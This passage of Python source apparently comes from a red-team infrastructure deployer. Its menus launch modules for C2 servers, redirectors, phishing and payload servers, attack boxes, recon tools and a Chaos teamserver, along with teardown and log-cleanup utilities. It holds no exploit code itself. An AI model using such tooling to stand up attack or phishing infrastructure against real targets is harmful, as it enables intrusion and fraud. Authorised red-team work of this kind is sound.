print(f"12) Tools & Utilities")
|
||||||
|
print(f"13) Cleanup & Teardown")
|
||||||
|
print(f"\n99) Exit")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
deploy_attack_box()
|
||||||
|
elif choice == "2":
|
||||||
|
deploy_c2_infrastructure()
|
||||||
|
elif choice == "3":
|
||||||
|
deploy_redirector()
|
||||||
|
elif choice == "4":
|
||||||
|
deploy_phishing_infrastructure()
|
||||||
|
elif choice == "5":
|
||||||
|
deploy_payload_server()
|
||||||
|
elif choice == "6":
|
||||||
|
deploy_tracker()
|
||||||
|
elif choice in ["7", "8", "9"]:
|
||||||
|
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
elif choice == "10":
|
||||||
|
deploy_chat_server()
|
||||||
|
elif choice == "11":
|
||||||
|
deploy_phantom()
|
||||||
|
elif choice == "12":
|
||||||
|
tools_menu()
|
||||||
|
elif choice == "13":
|
||||||
|
cleanup_menu()
|
||||||
|
elif choice == "99":
|
||||||
|
print(f"\n{COLORS['GREEN']}Exiting C2ingRed. Goodbye!{COLORS['RESET']}")
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def deploy_c2_infrastructure():
|
||||||
|
"""Launch the C2 infrastructure deployment module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
c2_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'c2', 'deploy_c2.py')
|
||||||
|
|
||||||
|
if not os.path.exists(c2_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}C2 deployment module not found at: {c2_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
c2_module = import_module_from_path('deploy_c2', c2_module_path)
|
||||||
|
if c2_module:
|
||||||
|
c2_module.c2_menu()
|
||||||
|
|
||||||
|
def deploy_redirector():
|
||||||
|
"""Launch the redirector deployment module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
redirector_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'redirectors', 'deploy_redirector.py')
|
||||||
|
|
||||||
|
if not os.path.exists(redirector_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}Redirector deployment module not found at: {redirector_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
redirector_module = import_module_from_path('deploy_redirector', redirector_module_path)
|
||||||
|
if redirector_module:
|
||||||
|
redirector_module.redirector_menu()
|
||||||
|
|
||||||
|
def deploy_phishing_infrastructure():
|
||||||
|
"""Launch the phishing infrastructure deployment module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
phishing_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'phishing', 'deploy_phishing.py')
|
||||||
|
|
||||||
|
if not os.path.exists(phishing_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}Phishing deployment module not found at: {phishing_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
phishing_module = import_module_from_path('deploy_phishing', phishing_module_path)
|
||||||
|
if phishing_module:
|
||||||
|
phishing_module.phishing_menu()
|
||||||
|
|
||||||
|
def deploy_payload_server():
|
||||||
|
"""Launch the payload server deployment module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
payload_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'payload-server', 'deploy_payload.py')
|
||||||
|
|
||||||
|
if not os.path.exists(payload_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}Payload server deployment module not found at: {payload_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
payload_module = import_module_from_path('deploy_payload', payload_module_path)
|
||||||
|
if payload_module:
|
||||||
|
payload_module.payload_menu()
|
||||||
|
|
||||||
|
def deploy_chat_server():
|
||||||
|
"""Launch the chat server deployment module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
chat_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'chat-server', 'deploy_chat.py')
|
||||||
|
|
||||||
|
if not os.path.exists(chat_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}Chat server deployment module not found at: {chat_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
chat_module = import_module_from_path('deploy_chat', chat_module_path)
|
||||||
|
if chat_module:
|
||||||
|
chat_module.chat_menu()
|
||||||
|
|
||||||
|
def deploy_phantom():
|
||||||
|
"""Launch the Phantom privacy server deployer"""
|
||||||
|
c2itall_dir = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
submodule_path = os.path.join(c2itall_dir, 'ghost_protocol', 'phantom', 'phantom.py')
|
||||||
|
standalone_path = os.path.expanduser('~/tools/ghost_protocol/phantom/phantom.py')
|
||||||
|
|
||||||
|
# Prefer submodule, fall back to standalone install
|
||||||
|
if os.path.exists(submodule_path):
|
||||||
|
phantom_path = submodule_path
|
||||||
|
elif os.path.exists(standalone_path):
|
||||||
|
phantom_path = standalone_path
|
||||||
|
else:
|
||||||
|
# Auto-clone as fallback
|
||||||
|
print(f"\n{COLORS['YELLOW']}[*] Phantom not found — cloning ghost_protocol...{COLORS['RESET']}")
|
||||||
|
repo_url = "https://github.com/ghost-protocol/ghost_protocol-public.git"
|
||||||
|
clone_dest = os.path.expanduser('~/tools/ghost_protocol')
|
||||||
|
try:
|
||||||
|
subprocess.run(['git', 'clone', repo_url, clone_dest], check=True)
|
||||||
|
phantom_path = os.path.join(clone_dest, 'phantom', 'phantom.py')
|
||||||
|
print(f"{COLORS['GREEN']}[+] Cloned to {clone_dest}{COLORS['RESET']}")
|
||||||
|
except subprocess.CalledProcessError:
|
||||||
|
print(f"{COLORS['RED']}[-] Failed to clone ghost_protocol{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
env = os.environ.copy()
|
||||||
|
env["C2ITALL_INTEGRATED"] = "1"
|
||||||
|
subprocess.run([sys.executable, phantom_path], env=env)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def deploy_tracker():
|
||||||
|
"""Deploy email tracking server"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Email Tracker Deployment{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}This would deploy a standalone email tracking server{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Feature coming soon...{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def deploy_attack_box():
|
||||||
|
"""Launch the attack box deployment module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
attack_box_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'attack-box', 'deploy_attack_box.py')
|
||||||
|
|
||||||
|
if not os.path.exists(attack_box_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}Attack box deployment module not found at: {attack_box_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
attack_box_module = import_module_from_path('deploy_attack_box', attack_box_module_path)
|
||||||
|
if attack_box_module:
|
||||||
|
attack_box_module.attack_box_menu()
|
||||||
|
|
||||||
|
def deploy_webrunner():
|
||||||
|
"""Launch the WEBRUNNER distributed geo-targeted recon module"""
|
||||||
|
archive_logs_before_deployment()
|
||||||
|
|
||||||
|
wr_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'webrunner', 'deploy_webrunner.py')
|
||||||
|
|
||||||
|
if not os.path.exists(wr_module_path):
|
||||||
|
print(f"\n{COLORS['RED']}WEBRUNNER module not found at: {wr_module_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
wr_module = import_module_from_path('deploy_webrunner', wr_module_path)
|
||||||
|
if wr_module:
|
||||||
|
wr_module.webrunner_menu()
|
||||||
|
|
||||||
|
|
||||||
|
def tools_menu():
|
||||||
|
"""Display the tools submenu"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}TOOLS & UTILITIES MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}======================{COLORS['RESET']}")
|
||||||
|
print(f"1) Generate SSH Keys")
|
||||||
|
print(f"2) Test Provider Connectivity")
|
||||||
|
print(f"3) Validate Configuration Files")
|
||||||
|
print(f"4) Recon & Red Team Tools {COLORS['GREEN']}(Umbra + Custom Tools){COLORS['RESET']}")
|
||||||
|
print(f"5) Payload Generation Tools {COLORS['GRAY']}*UNDER-CONSTRUCTION*{COLORS['RESET']}")
|
||||||
|
print(f"6) Infrastructure Health Check")
|
||||||
|
print(f"7) Ops Dashboard {COLORS['CYAN']}(Real-Time Engagement Monitor){COLORS['RESET']}")
|
||||||
|
print(f"8) Claude Bot {COLORS['CYAN']}(Matrix-Claude Code Bridge){COLORS['RESET']}")
|
||||||
|
print(f"9) Chaos C2 {COLORS['CYAN']}(Deploy / Manage Chaos teamserver){COLORS['RESET']}")
|
||||||
|
print(f"10) WEBRUNNER {COLORS['CYAN']}(Distributed Geo-Targeted Recon){COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
generate_ssh_keys()
|
||||||
|
elif choice == "2":
|
||||||
|
test_provider_connectivity()
|
||||||
|
elif choice == "3":
|
||||||
|
validate_configurations()
|
||||||
|
elif choice == "4":
|
||||||
|
recon_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'tools', 'recon_tools.py')
|
||||||
|
recon_module = import_module_from_path('recon_tools', recon_module_path)
|
||||||
|
if recon_module:
|
||||||
|
recon_module.recon_tools_menu()
|
||||||
|
elif choice == "5":
|
||||||
|
print(f"\n{COLORS['YELLOW']}This feature is currently under construction.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
elif choice == "6":
|
||||||
|
infrastructure_health_check()
|
||||||
|
elif choice == "7":
|
||||||
|
launch_ops_dashboard()
|
||||||
|
elif choice == "8":
|
||||||
|
claude_bot_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'tools', 'deploy_claude_bot.py')
|
||||||
|
claude_bot_module = import_module_from_path('deploy_claude_bot', claude_bot_module_path)
|
||||||
|
if claude_bot_module:
|
||||||
|
claude_bot_module.claude_bot_menu()
|
||||||
|
elif choice == "9":
|
||||||
|
chaos_module_path = os.path.join(os.path.dirname(__file__), 'modules', 'c2', 'deploy_chaos.py')
|
||||||
|
chaos_module = import_module_from_path('deploy_chaos', chaos_module_path)
|
||||||
|
if chaos_module:
|
||||||
|
chaos_module.chaos_menu()
|
||||||
|
elif choice == "10":
|
||||||
|
deploy_webrunner()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def launch_ops_dashboard():
|
||||||
|
"""Launch the ops dashboard."""
|
||||||
|
dashboard_path = os.path.join(os.path.dirname(__file__), 'ops_dashboard.py')
|
||||||
|
if not os.path.exists(dashboard_path):
|
||||||
|
print(f"\n{COLORS['RED']}Dashboard not found at {dashboard_path}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
subprocess.run([sys.executable, dashboard_path])
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup_menu():
|
||||||
|
"""Display the cleanup submenu"""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}CLEANUP & TEARDOWN MENU{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}======================={COLORS['RESET']}")
|
||||||
|
print(f"1) Interactive Teardown (Select from List)")
|
||||||
|
print(f"2) Teardown by Deployment ID")
|
||||||
|
print(f"3) Teardown All Infrastructure")
|
||||||
|
print(f"4) Clean Local SSH Keys")
|
||||||
|
print(f"5) Manage Log Files & Archive")
|
||||||
|
print(f"6) List Active Deployments")
|
||||||
|
print(f"99) Return to Main Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
interactive_teardown()
|
||||||
|
elif choice == "2":
|
||||||
|
teardown_by_id()
|
||||||
|
elif choice == "3":
|
||||||
|
teardown_all()
|
||||||
|
elif choice == "4":
|
||||||
|
clean_ssh_keys()
|
||||||
|
elif choice == "5":
|
||||||
|
clean_logs()
|
||||||
|
elif choice == "6":
|
||||||
|
list_deployments()
|
||||||
|
elif choice == "99":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def generate_ssh_keys():
|
||||||
|
"""Generate SSH keys utility"""
|
||||||
|
from utils.ssh_utils import generate_ssh_key
|
||||||
|
from utils.common import generate_deployment_id
|
||||||
|
|
||||||
|
print(f"\n{COLORS['BLUE']}SSH Key Generation{COLORS['RESET']}")
|
||||||
|
|
||||||
|
key_name = input("Enter key name (or leave blank for auto-generated): ")
|
||||||
|
if not key_name:
|
||||||
|
key_name = generate_deployment_id()
|
||||||
|
|
||||||
|
ssh_key_path = generate_ssh_key(key_name)
|
||||||
|
if ssh_key_path:
|
||||||
|
print(f"{COLORS['GREEN']}SSH key generated successfully!{COLORS['RESET']}")
|
||||||
|
print(f"Private key: {ssh_key_path}")
|
||||||
|
print(f"Public key: {ssh_key_path}.pub")
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def test_provider_connectivity():
|
||||||
|
"""Test connectivity to cloud providers"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Provider Connectivity Test{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}This would test connectivity to AWS, Linode, and FlokiNET{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Feature coming soon...{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def validate_configurations():
|
||||||
|
"""Validate configuration files"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Configuration Validation{COLORS['RESET']}")
|
||||||
|
|
||||||
|
config_dirs = ['providers/AWS', 'providers/Linode', 'providers/FlokiNET']
|
||||||
|
|
||||||
|
for config_dir in config_dirs:
|
||||||
|
vars_file = os.path.join(config_dir, 'vars.yaml')
|
||||||
|
if os.path.exists(vars_file):
|
||||||
|
print(f"{COLORS['GREEN']}✓{COLORS['RESET']} Found: {vars_file}")
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}✗{COLORS['RESET']} Missing: {vars_file}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def infrastructure_health_check():
|
||||||
|
"""Check health of deployed infrastructure"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Infrastructure Health Check{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}This would check the status of deployed infrastructure{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Feature coming soon...{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def interactive_teardown():
|
||||||
|
"""Interactive teardown - directly select deployment to teardown"""
|
||||||
|
try:
|
||||||
|
# Clear screen and run teardown script with --select option
|
||||||
|
clear_screen()
|
||||||
|
print(f"{COLORS['CYAN']}Select Deployment to Teardown...{COLORS['RESET']}\n")
|
||||||
|
|
||||||
|
# Run the teardown script directly with --select to bypass the menu
|
||||||
|
os.system(f"{sys.executable} teardown.py --select")
|
||||||
|
|
||||||
|
# Return to cleanup menu after teardown completes
|
||||||
|
print(f"\n{COLORS['CYAN']}Teardown process completed.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error: {str(e)}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def teardown_by_id():
|
||||||
|
"""Teardown deployment by ID using standalone teardown script"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Teardown by Deployment ID{COLORS['RESET']}")
|
||||||
|
|
||||||
|
deployment_id = input("Enter deployment ID: ").strip()
|
||||||
|
if not deployment_id:
|
||||||
|
print(f"{COLORS['YELLOW']}No deployment ID provided{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
result = subprocess.run([sys.executable, "teardown.py", "--deployment-id", deployment_id],
|
||||||
|
capture_output=True, text=True)
|
||||||
|
if result.returncode != 0:
|
||||||
|
print(f"{COLORS['RED']}Error running teardown: {result.stderr}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(result.stdout)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error: {str(e)}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def teardown_all():
|
||||||
|
"""Teardown all infrastructure"""
|
||||||
|
print(f"\n{COLORS['RED']}⚠️ WARNING: This will teardown ALL infrastructure!{COLORS['RESET']}")
|
||||||
|
|
||||||
|
confirm = input(f"{COLORS['YELLOW']}Are you sure? Type 'DESTROY' to confirm: {COLORS['RESET']}")
|
||||||
|
if confirm != "DESTROY":
|
||||||
|
print(f"{COLORS['GREEN']}Operation cancelled{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
# Use the standalone teardown script
|
||||||
|
teardown_script = os.path.join(os.path.dirname(__file__), 'teardown.py')
|
||||||
|
try:
|
||||||
|
result = subprocess.run([
|
||||||
|
sys.executable, teardown_script,
|
||||||
|
'--all',
|
||||||
|
'--force'
|
||||||
|
], capture_output=True, text=True)
|
||||||
|
|
||||||
|
if result.returncode == 0:
|
||||||
|
print(f"\n{COLORS['GREEN']}All infrastructure has been torn down{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Some teardown operations failed{COLORS['RESET']}")
|
||||||
|
if result.stderr:
|
||||||
|
print(f"Error: {result.stderr}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"\n{COLORS['RED']}Error running teardown: {e}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def clean_ssh_keys():
|
||||||
|
"""Clean local SSH keys"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Clean Local SSH Keys{COLORS['RESET']}")
|
||||||
|
|
||||||
|
ssh_dir = os.path.expanduser("~/.ssh")
|
||||||
|
c2deploy_keys = []
|
||||||
|
|
||||||
|
if os.path.exists(ssh_dir):
|
||||||
|
for file in os.listdir(ssh_dir):
|
||||||
|
if file.startswith("c2deploy_"):
|
||||||
|
c2deploy_keys.append(os.path.join(ssh_dir, file))
|
||||||
|
|
||||||
|
if not c2deploy_keys:
|
||||||
|
print(f"{COLORS['GREEN']}No C2ingRed SSH keys found{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"Found {len(c2deploy_keys)} C2ingRed SSH keys:")
|
||||||
|
for key in c2deploy_keys:
|
||||||
|
print(f" {key}")
|
||||||
|
|
||||||
|
if input(f"\n{COLORS['YELLOW']}Delete these keys? (y/n): {COLORS['RESET']}").lower() == 'y':
|
||||||
|
for key in c2deploy_keys:
|
||||||
|
try:
|
||||||
|
os.remove(key)
|
||||||
|
print(f"{COLORS['GREEN']}Removed: {key}{COLORS['RESET']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Failed to remove {key}: {e}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def clean_logs():
|
||||||
|
"""Clean log files and manage archive"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Log File Management{COLORS['RESET']}")
|
||||||
|
|
||||||
|
logs_dir = "logs"
|
||||||
|
archive_dir = os.path.join(logs_dir, "archive")
|
||||||
|
|
||||||
|
if not os.path.exists(logs_dir):
|
||||||
|
print(f"{COLORS['GREEN']}No logs directory found{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
# Count current log files
|
||||||
|
log_files = [f for f in os.listdir(logs_dir) if f.endswith('.log') and os.path.isfile(os.path.join(logs_dir, f))]
|
||||||
|
info_files = [f for f in os.listdir(logs_dir) if f.startswith('deployment_info_') and f.endswith('.txt')]
|
||||||
|
|
||||||
|
# Count archived files
|
||||||
|
archived_files = []
|
||||||
|
if os.path.exists(archive_dir):
|
||||||
|
archived_files = [f for f in os.listdir(archive_dir) if f.endswith('.log') or f.endswith('.txt')]
|
||||||
|
|
||||||
|
print(f"Current logs: {len(log_files)} log files, {len(info_files)} info files")
|
||||||
|
print(f"Archived files: {len(archived_files)} files")
|
||||||
|
|
||||||
|
print(f"\nOptions:")
|
||||||
|
print(f"1) Archive old logs (keep 10 most recent)")
|
||||||
|
print(f"2) Delete current log files")
|
||||||
|
print(f"3) Clean archive directory")
|
||||||
|
print(f"4) View log files")
|
||||||
|
print(f"5) Return to menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ")
|
||||||
|
|
||||||
|
if choice == "1":
|
||||||
|
from utils.common import archive_old_logs
|
||||||
|
print(f"\n{COLORS['BLUE']}Archiving old logs...{COLORS['RESET']}")
|
||||||
|
archive_old_logs(max_logs_to_keep=10)
|
||||||
|
print(f"{COLORS['GREEN']}Archive operation completed{COLORS['RESET']}")
|
||||||
|
|
||||||
|
elif choice == "2":
|
||||||
|
if not log_files and not info_files:
|
||||||
|
print(f"{COLORS['GREEN']}No current log files found{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"Current log files:")
|
||||||
|
for log_file in log_files + info_files:
|
||||||
|
print(f" {log_file}")
|
||||||
|
|
||||||
|
if input(f"\n{COLORS['YELLOW']}Delete these current log files? (y/n): {COLORS['RESET']}").lower() == 'y':
|
||||||
|
for log_file in log_files + info_files:
|
||||||
|
try:
|
||||||
|
os.remove(os.path.join(logs_dir, log_file))
|
||||||
|
print(f"{COLORS['GREEN']}Removed: {log_file}{COLORS['RESET']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Failed to remove {log_file}: {e}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
elif choice == "3":
|
||||||
|
if not os.path.exists(archive_dir) or not archived_files:
|
||||||
|
print(f"{COLORS['GREEN']}No archived files found{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"Archived files ({len(archived_files)}):")
|
||||||
|
for archived_file in archived_files[:10]: # Show first 10
|
||||||
|
print(f" {archived_file}")
|
||||||
|
if len(archived_files) > 10:
|
||||||
|
print(f" ... and {len(archived_files) - 10} more")
|
||||||
|
|
||||||
|
if input(f"\n{COLORS['YELLOW']}Delete all archived files? (y/n): {COLORS['RESET']}").lower() == 'y':
|
||||||
|
import shutil
|
||||||
|
try:
|
||||||
|
shutil.rmtree(archive_dir)
|
||||||
|
print(f"{COLORS['GREEN']}Archive directory cleaned{COLORS['RESET']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Failed to clean archive: {e}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
elif choice == "4":
|
||||||
|
print(f"\n{COLORS['BLUE']}Current Log Files:{COLORS['RESET']}")
|
||||||
|
if log_files:
|
||||||
|
for log_file in log_files:
|
||||||
|
file_path = os.path.join(logs_dir, log_file)
|
||||||
|
size = os.path.getsize(file_path)
|
||||||
|
mtime = datetime.fromtimestamp(os.path.getmtime(file_path)).strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
print(f" {log_file} ({size} bytes, modified: {mtime})")
|
||||||
|
else:
|
||||||
|
print(f" No log files found")
|
||||||
|
|
||||||
|
print(f"\n{COLORS['BLUE']}Deployment Info Files:{COLORS['RESET']}")
|
||||||
|
if info_files:
|
||||||
|
for info_file in info_files:
|
||||||
|
file_path = os.path.join(logs_dir, info_file)
|
||||||
|
mtime = datetime.fromtimestamp(os.path.getmtime(file_path)).strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
print(f" {info_file} (modified: {mtime})")
|
||||||
|
else:
|
||||||
|
print(f" No info files found")
|
||||||
|
|
||||||
|
if archived_files:
|
||||||
|
print(f"\n{COLORS['BLUE']}Archived Files ({len(archived_files)} total):{COLORS['RESET']}")
|
||||||
|
for archived_file in archived_files[:5]: # Show first 5
|
||||||
|
print(f" {archived_file}")
|
||||||
|
if len(archived_files) > 5:
|
||||||
|
print(f" ... and {len(archived_files) - 5} more in archive/")
|
||||||
|
|
||||||
|
elif choice == "5":
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def list_deployments():
|
||||||
|
"""List active deployments"""
|
||||||
|
print(f"\n{COLORS['BLUE']}Active Deployments{COLORS['RESET']}")
|
||||||
|
|
||||||
|
import glob
|
||||||
|
info_files = glob.glob("logs/deployment_info_*.txt")
|
||||||
|
|
||||||
|
if not info_files:
|
||||||
|
print(f"{COLORS['GREEN']}No active deployments found{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"Found {len(info_files)} deployments:\n")
|
||||||
|
|
||||||
|
for info_file in info_files:
|
||||||
|
try:
|
||||||
|
with open(info_file, 'r') as f:
|
||||||
|
lines = f.readlines()
|
||||||
|
|
||||||
|
deployment_id = "unknown"
|
||||||
|
provider = "unknown"
|
||||||
|
domain = "unknown"
|
||||||
|
status = "unknown"
|
||||||
|
timestamp = "unknown"
|
||||||
|
|
||||||
|
for line in lines:
|
||||||
|
line = line.strip()
|
||||||
|
if line.startswith("Deployment ID:"):
|
||||||
|
deployment_id = line.split(": ", 1)[1]
|
||||||
|
elif line.startswith("Provider:"):
|
||||||
|
provider = line.split(": ", 1)[1]
|
||||||
|
elif line.startswith("Domain:"):
|
||||||
|
domain = line.split(": ", 1)[1]
|
||||||
|
elif line.startswith("Status:"):
|
||||||
|
status = line.split(": ", 1)[1]
|
||||||
|
elif line.startswith("Timestamp:"):
|
||||||
|
timestamp = line.split(": ", 1)[1]
|
||||||
|
|
||||||
|
status_color = COLORS['GREEN'] if status == 'SUCCESS' else COLORS['RED']
|
||||||
|
print(f" ID: {COLORS['CYAN']}{deployment_id}{COLORS['RESET']}")
|
||||||
|
print(f" Provider: {provider}")
|
||||||
|
print(f" Domain: {domain}")
|
||||||
|
print(f" Status: {status_color}{status}{COLORS['RESET']}")
|
||||||
|
print(f" Time: {timestamp}")
|
||||||
|
print("-" * 40)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error reading {info_file}: {e}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
def archive_logs_before_deployment():
|
||||||
|
"""Archive old logs before starting any deployment operation"""
|
||||||
|
try:
|
||||||
|
print(f"{COLORS['YELLOW']}Archiving old deployment logs...{COLORS['RESET']}")
|
||||||
|
archive_old_logs()
|
||||||
|
print(f"{COLORS['GREEN']}Log archiving completed{COLORS['RESET']}")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Warning: Failed to archive old logs: {e}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
def show_usage():
|
||||||
|
"""Display usage information and examples"""
|
||||||
|
print(f"{COLORS['WHITE']}C2itall - Modular Red Team Infrastructure Deployment{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}================================================={COLORS['RESET']}")
|
||||||
|
print()
|
||||||
|
print(f"{COLORS['CYAN']}Usage:{COLORS['RESET']}")
|
||||||
|
print(f" python3 deploy.py # Interactive menu (default)")
|
||||||
|
print(f" python3 deploy.py --menu # Interactive menu")
|
||||||
|
print(f" python3 deploy.py --auto-teardown # Enable auto-teardown on failure")
|
||||||
|
print()
|
||||||
|
print(f"{COLORS['CYAN']}Options:{COLORS['RESET']}")
|
||||||
|
print(f" --auto-teardown Automatically cleanup failed deployments without prompting")
|
||||||
|
print(f" Useful for testing, overnight runs, or automated scenarios")
|
||||||
|
print(f" --menu Start interactive menu (default behavior)")
|
||||||
|
print()
|
||||||
|
print(f"{COLORS['CYAN']}Examples:{COLORS['RESET']}")
|
||||||
|
print(f" # Normal interactive deployment")
|
||||||
|
print(f" python3 deploy.py")
|
||||||
|
print()
|
||||||
|
print(f" # Testing deployment with auto-cleanup on failure")
|
||||||
|
print(f" python3 deploy.py --auto-teardown")
|
||||||
|
print()
|
||||||
|
print(f"{COLORS['YELLOW']}Auto-teardown Feature:{COLORS['RESET']}")
|
||||||
|
print(f" • When enabled, failed deployments are automatically cleaned up")
|
||||||
|
print(f" • No user prompt - resources are immediately torn down on failure")
|
||||||
|
